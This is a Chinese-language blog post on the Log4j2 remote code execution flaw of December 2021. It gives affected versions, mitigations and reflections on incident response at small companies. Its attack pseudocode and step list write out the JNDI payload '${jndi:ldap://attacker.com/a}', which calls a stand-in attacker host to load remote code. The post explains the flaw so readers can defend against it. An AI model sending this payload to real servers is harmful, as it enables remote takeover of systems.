事件背景

12月10日，看到朋友圈中已经有人在通宵修改、上线系统了。随即，又看到阿里云安全、腾讯安全部门发出的官方报告：” Apache Log4j2存在远程代码执行漏洞“，且漏洞已对外公开。

看到相关消息，马上爬起来把所有项目的日志系统过滤一遍，还好老项目采用的log4j，新项目采用的logback，没有中招。随后就看到朋友圈铺天盖地的相关消息。

作为一个史诗级的事件，紧急修改漏洞是必然的。作为程序员，如果看到这则消息，连去核查一下系统都做不到，那真的不是一个合格的程序员。

经历过这次事件，不仅是看热闹而已，还要思考一下，作为小公司如何避免、提前预防、做好准备应对这类Bug。

漏洞描述

Apache Log4j2是一款优秀的Java日志框架，与Logback平分秋色，大量主流的开源框架采用了Log4j2，像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。所以，这样一个底层框架出现问题，影响面可想而知。

漏洞信息： Apache Log4j 2.15.0-rc1 版本存在漏洞绕过，需及时更新至 Apache Log4j 2.15.0-rc2 版本。

影响范围：2.0 <= Apache log4j2 <= 2.14.1。

最新修复版本： github.com/apache/logg…

补救方案

方案一：升级版本，发布系统；

方案二：临时补救：

• 修改JVM参数,设置  -Dlog4j2.formatMsgNoLookups=true。

• 在涉及漏洞的项目的类路径（classpath）下增加 log4j2.component.properties配置文件并增加配置项 log4j2.formatMsgNoLookups=true。

• 将系统环境变量  FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true。

攻击原理

攻击伪代码示例：

import org
.apache
.log4j
.Logger
;


import java
.io
.
*
;


import java
.sql
.SQLException
;


import java
.util
.
*
;

//java学习交流:737251827  进入可领取学习资源及对十年开发经验大佬提问，免费解答！


public 
class 
VulnerableLog4jExampleHandler 
implements 
HttpHandler 
{



  
static Logger log 
= Logger
.
getLogger
(log4jExample
.class
.
getName
(
)
)
;



  
/**

   * 示例伪代码：一个简单的HTTP端点，其中读取User Agent信息并进行日志记录；

   */

  
public 
void 
handle
(HttpExchange he
) throws IOException 
{

    
// 获取user-agent信息

    String userAgent 
= he
.
getRequestHeader
(
"user-agent"
)
;

    

    
// 此行记录日志的代码，通过记录攻击者控制的HTTP用户代理标头来触发RCE。

    
// 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}

    log
.
info
(
"Request User Agent:" 
+ userAgent
)
;



    String response 
= 
"<h1>Hello There, " 
+ userAgent 
+ 
"!</h1>"
;

    he
.
sendResponseHeaders
(
200
, response
.
length
(
)
)
;

    OutputStream os 
= he
.
getResponseBody
(
)
;

    os
.
write
(response
.
getBytes
(
)
)
;

    os
.
close
(
)
;

  
}


}

基于上述代码的基本攻击步骤：

• 请求对应的HTTP端点（或接口），在请求信息中携带攻击代码（比如，在user-agent中携带${jndi:ldap://attacker.com/a}）；

• 服务器在通过Log4j2执行日志记录时，记录中包含了基于 JNDI和 LDAP的恶意负载 ${jndi:ldap://attacker.com/a}，其中 attacker.com是攻击者控制的地址。

• 记录日志操作触发向攻击者控制的地址发送请求。

• 对应请求返回在响应中返回可执行的恶意代码，注入到服务器进程当中。比如返回， attacker.com/Attack.clas… 。

• 进而执行脚本控制服务器。

腾讯安全专家的复现如下：

小公司程序员能做些什么？

关于漏洞及解决方案，上面已经详细聊了，问题基本得以解决。在大的互联网企业，是有专门的安全运维部门来监控、扫描这些漏洞的。但在小公司，很显然没有这样的条件。

那么，我们该怎么办？同时，作为事件的经历者，你是否思考过这个事件中反映出的一些其他问题吗？

第一，是否第一时间得到消息？

在大企业，一旦发现这样的漏洞，安全部门会第一时间进行通知。但在小企业，没有安全部门，你是如何获取到漏洞的消息的呢？

比如我所在的企业，是没有安全部门的，但也几乎是第一时间得知漏洞消息，进行系统排查的。

作为程序员，如果漏洞消息已经爆出很久，你却一无所知，那就应该反思一下朋友圈的质量以及对技术热点的关注度问题了。

如何获得圈内第一手消息，取决于也反映着你在社交圈或技术圈所处的位置与现状。

第二，是否置若罔闻？

很多朋友可能也看到了这则漏洞消息，但也就是看一下热闹，然后该干嘛干嘛了，系统有漏洞就有漏洞了呗~

如果你是如此，或你的团队是如此，你真的需要反省一下职业素养问题了。

很多人可能觉得自己很牛，觉得自己怀才不遇，觉得工资收入低，觉得被亏待……那么，对照一下对这件事所作出的反应，基本就知道自己是不是被亏待了。

第三，如何应对突发事件？

这样的突发事件，也是对系统运维、团队管理的一个考验，也是一个仿真练习：大家都正在进行着当前业务的开发，有一个突发Bug要修改，改一半的代码如何操作？如大面积发布？

第一，改一半的代码怎么办？如果你的团队的代码开发都是基于master（主干）进行开发、提交代码，针对这样的突发事件，必然会面对改了一半的代码，提交了，想一起发布但还没测试，这种骑虎难下的局面。

所以，代码的管理（如何打分支、合并分支、分支与主干代码不同环境的发布）必须得从日常的点滴做起，当突发事件发生时，也不至于手忙脚乱。

第二，有大量项目需要发布怎么办？当然，最古老的方式就是一个系统一个系统手动发布。如果是微服务及应用较多，不仅容易出现错误，而且耗时较长。这就提醒我们，构建自动化发布流程的重要性。

第四，怎么找出系统漏洞？

有安全部门的公司，会定期扫描系统漏洞，那么没有安全部门的公司只能坐以待毙吗？

其实，还是有一些方法可以发现系统的一些漏洞的。比如，勤关注使用框架的版本升级、利用三方提供的漏洞扫描（比如阿里云服务器的安全扫描）、与同行交流等手段。

小结

任何一个漏洞对软件系统来说都有可能是致命的，也需要我们谨慎对待的。对于漏洞的处理及做出的反应也是从业者职业素养的体现。

而如果能从一次次突发事件中学习、思考到更多内容，你将比别人更快的成长。